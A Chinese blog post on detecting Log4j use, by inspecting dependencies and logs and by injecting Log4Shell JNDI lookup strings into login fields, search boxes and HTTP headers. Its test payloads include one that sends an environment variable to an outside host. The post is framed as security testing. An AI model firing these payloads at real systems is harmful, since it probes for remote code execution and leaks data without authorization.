2024-11-25

1. 如何判断一个系统是否使用了 Log4j?

方法 1:检查系统代码或依赖

查看代码:检查系统的代码库,看是否引用了 Log4j。

在 Java 项目中,查找类似org.apache.logging.log4j的依赖。

查看依赖文件:如果项目使用了 Maven 或 Gradle 等依赖管理工具,可以查看pom.xml(Maven)或build.gradle(Gradle)文件,看是否包含 Log4j。

<dependency>

   <groupId>org.apache.logging.log4j</groupId>

  <artifactId>log4j-core</artifactId>

</dependency>

方法 2:检查日志输出格式

查看系统生成的日志文件。如果日志格式与 Log4j 的配置格式(如%d [%t] %-5p %c - %m%n)相似,可能在使用 Log4j。

日志文件中的错误信息也可能暴露 Log4j 的版本信息。

方法 3:运行时检查

扫描工具:使用自动化工具(如Log4jScanner)扫描系统,检测是否使用了 Log4j 以及其版本。

环境变量:某些系统会通过环境变量显式暴露 Log4j 的配置(如log4j.configurationFile)。

2. 如何通过用户输入判断系统是否使用了 Log4j?

你可以通过向系统输入特殊的测试字符串,观察系统的行为来判断是否存在 Log4j。这种方法模拟了漏洞利用的检测,但仅用于安全测试,不能用于恶意攻击。

原理:

Log4j 的漏洞在于它会解析${}格式的特殊表达式(比如${jndi:ldap://...})。通过输入这些表达式并观察结果,可以推断系统是否使用了 Log4j。

方法:输入测试字符串

输入位置:在系统的输入框或接口中,输入测试字符串。常见输入点包括:

登录表单(用户名、密码字段)。

搜索框。

API 请求参数。

HTTP 请求头(如User-Agent、Referer)。

测试字符串示例

简单测试:

${jndi:ldap://example.com/test}

加入随机字符串避免被过滤:

${jndi:ldap://example.com/${env:USER}}

观察结果:

如果系统使用 Log4j,可能会尝试解析这些表达式。

你可以通过以下方式检测系统的响应:

网络监控:设置一个测试服务器(如example.com),观察是否有系统访问该服务器。

异常日志:如果系统中出现了解析错误,日志可能会暴露使用了 Log4j。

功能异常:系统可能因为解析错误而报错或表现异常。

3. 详细步骤:测试用户输入

步骤 1:准备测试环境

设置一个可以接收网络请求的服务器,记录所有的访问。可以使用以下工具:

自建一个轻量级的 HTTP 服务器(如 Flask)。

使用在线服务如Burp Collaborator、CanaryTokens或类似工具。

假设服务器地址为test.yourdomain.com。

步骤 2:向系统输入测试字符串

在用户输入的地方输入以下测试字符串:

${jndi:ldap://test.yourdomain.com/test}

搜索框:

搜索内容:${jndi:ldap://test.yourdomain.com/test}

步骤 3:观察服务器访问

如果系统使用了 Log4j,它可能会解析jndi:ldap://test.yourdomain.com/test,并尝试连接到你的测试服务器。

你会在服务器日志中看到访问记录,例如:

GET /test HTTP/1.1 Host: test.yourdomain.com

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。